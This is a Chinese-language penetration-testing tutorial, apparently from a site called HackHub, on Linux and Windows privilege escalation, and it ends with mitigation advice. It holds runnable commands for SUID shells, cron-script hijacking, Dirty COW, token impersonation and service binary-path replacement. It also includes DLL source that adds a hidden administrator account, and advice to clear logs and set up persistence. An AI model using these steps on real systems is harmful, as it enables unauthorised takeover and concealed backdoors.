权限提升技术详解

HackHub .org 权限提升技术 操作系统权限提升 从普通用户到系统管理员的完整提权路径 👤 普通用户 Limited User 低权限Shell 1 🔍 信息收集 系统信息 漏洞扫描 2 💥 漏洞利用 内核漏洞 配置错误 3 👑 管理员权限 SYSTEM/Root 完全控制 4 Linux提权技术 • SUID提权 • 内核漏洞 • 计划任务 • 配置错误 Windows提权技术 • 令牌窃取 • 内核漏洞 • 服务提权 • DLL劫持 权限提升核心原则 1. 信息收集优先: 全面收集系统信息,识别潜在提权点 2. 工具辅助分析: 使用自动化工具快速识别提权机会 3. 多种方法尝试: 不要局限于单一提权方法,多管齐下 4. 稳定性考量: 选择稳定的提权方法,避免系统崩溃 5. 痕迹清理: 提权成功后清理相关日志和痕迹 6. 持久化建立: 获得高权限后建立持久化访问机制

权限提升(Privilege Escalation)是渗透测试中的关键环节,指攻击者在获得初始低权限访问后, 通过各种技术手段获取更高权限(如root或SYSTEM)的过程。成功的权限提升可以让攻击者完全控制系统, 访问敏感数据并建立持久化后门。

⚠️

提权风险提醒

权限提升操作具有一定风险,不当的操作可能导致系统不稳定甚至崩溃。 在进行提权测试时,务必:
• 充分了解目标环境
• 备份重要数据
• 使用稳定的提权方法
• 及时清理测试痕迹

一、Linux权限提升

1.1 SUID提权

SUID(Set User ID)是一种特殊权限,允许用户以文件所有者的权限执行文件。 如果配置不当,可能成为提权的突破口。

SUID提权流程

# 查找具有SUID权限的文件 find / -perm -4000 2>/dev/null # 常见可利用的SUID二进制文件 /usr/bin/find /usr/bin/vim /usr/bin/nmap /usr/bin/awk /bin/bash # 利用find进行提权 find . -exec /bin/sh -p \; -quit # 利用vim进行提权 vim -c ':shell' # 利用nmap进行提权 nmap --interactive nmap> !sh

1.2 内核漏洞提权

利用操作系统内核中的已知漏洞进行提权是最直接的方法,但也最容易被补丁修复。

🐧

信息收集

# 系统信息 uname -a cat /etc/os-release # 内核版本 cat /proc/version # 已安装软件 dpkg -l | grep linux
🔍

漏洞搜索

# 使用searchsploit searchsploit linux kernel 4.4 priv esc # 在线搜索 https://www.exploit-db.com/ https://github.com/lucyoa/kernel-exploits
💥

漏洞利用

# Dirty COW (CVE-2016-5195) gcc -pthread dirty.c -o dirty -lcrypt ./dirty # CVE-2017-16995 ./exp CVE-2017-16995

1.3 计划任务提权

通过分析系统的计划任务(cron jobs)寻找提权机会。

计划任务提权方法

# 查看可写的计划任务 ls -la /etc/cron* cat /etc/crontab # 查看用户计划任务 crontab -l ls -la /var/spool/cron/crontabs/ # 利用可写脚本 # 如果发现一个root用户的计划任务执行/tmp/script.sh # 且该文件可写,则可以修改为: echo '#!/bin/bash' > /tmp/script.sh echo 'chmod u+s /bin/bash' >> /tmp/script.sh chmod +x /tmp/script.sh # 等待计划任务执行后 /bin/bash -p

二、Windows权限提升

2.1 令牌窃取

Windows系统中的访问令牌包含了用户的安全上下文,窃取高权限令牌可以实现提权。

令牌操作示例

// 使用Incognito窃取令牌 meterpreter > use incognito meterpreter > list_tokens -u meterpreter > impersonate_token "NT AUTHORITY\SYSTEM" // 使用Mimikatz进行令牌操作 mimikatz # token::elevate mimikatz # token::whoami // 使用Juicy Potato (适用于Windows Server 2012 R2及以下) JuicyPotato.exe -l 1337 -p c:\windows\system32\cmd.exe -t * -c {e60687f7-01a1-40aa-86ac-db1cbf673334}

2.2 服务提权

利用系统服务配置错误进行提权是Windows环境中常见的提权方法。

サービ

服务信息收集

REM 查看所有服务 sc query state= all REM 查看服务配置 sc qc servicename REM 查看可修改的服务 accesschk.exe -uwcqv "Authenticated Users" * REM PowerShell查看服务 Get-WmiObject -Class Win32_Service | Where-Object {$_.State -eq "Running"}
🔧

服务配置修改

REM 修改服务二进制路径 sc config servicename binpath= "C:\temp\reverse.exe" REM 重启服务 sc stop servicename sc start servicename REM 或者使用PowerShell Set-Service -Name servicename -StartupType Manual Restart-Service -Name servicename

2.3 DLL劫持

DLL劫持是指应用程序在加载DLL时,由于搜索顺序问题加载了攻击者提供的恶意DLL。

DLL劫持检测与利用

# 使用Process Monitor检测DLL加载 Procmon.exe # 筛选条件: Path ends with .dll AND Result is NAME NOT FOUND # 创建恶意DLL (示例) // malicious.cpp #include <windows.h> BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: WinExec("net user hackhub HackHub@2025 /add", 0); WinExec("net localgroup administrators hackhub /add", 0); break; case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; } # 编译DLL g++ -shared -o vulnerable.dll malicious.cpp

三、自动化提权工具

🐧

LinPEAS

Linux权限提升自动化脚本,全面检查系统提权点

wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh chmod +x linpeas.sh ./linpeas.sh
윈도우

WinPEAS

Windows权限提升自动化工具,检查各类提权向量

certutil -urlcache -split -f "https://github.com/carlospolop/PEASS-ng/releases/latest/download/winPEASx64.exe" winpeas.exe winpeas.exe
🔍

PowerUp

PowerShell脚本,专门用于Windows服务提权检查

Import-Module .\PowerUp.ps1 Invoke-AllChecks
🤖

Watson

Windows内核漏洞检测工具,识别可利用的补丁缺失

watson.exe

四、提权实战案例

1

Linux SUID提权案例

在某Linux服务器测试中,发现/usr/bin/find具有SUID权限且可被普通用户执行。 通过find命令的-exec参数直接执行/bin/sh,成功获得root shell。

2

Windows服务提权案例

在Windows Server 2016环境中,发现一个以SYSTEM权限运行的服务, 其二进制文件路径可被普通用户修改。通过替换为恶意exe文件,重启服务后获得SYSTEM权限。

3

内核漏洞提权案例

针对Ubuntu 16.04系统,利用Dirty COW漏洞(CVE-2016-5195)成功提权。 该漏洞存在于Linux内核3.18及更高版本中,影响范围广泛。

五、防御与缓解措施

🛡️

Linux防御措施

  • 最小化SUID权限:定期审计SUID文件,移除不必要的SUID权限
  • 及时更新内核:保持系统内核和软件包处于最新状态
  • 限制计划任务:严格控制cron任务的权限和执行路径
  • 启用SELinux/AppArmor:使用强制访问控制增强系统安全
  • 监控异常行为:部署系统完整性监控工具
🛡️

Windows防御措施

  • 最小化服务权限:以最低必要权限运行服务
  • 启用UAC:保持用户账户控制处于启用状态
  • 定期更新补丁:及时安装安全更新和补丁
  • 配置AppLocker:限制可执行文件的运行
  • 启用WDATP:使用Windows Defender ATP进行威胁检测
Telegram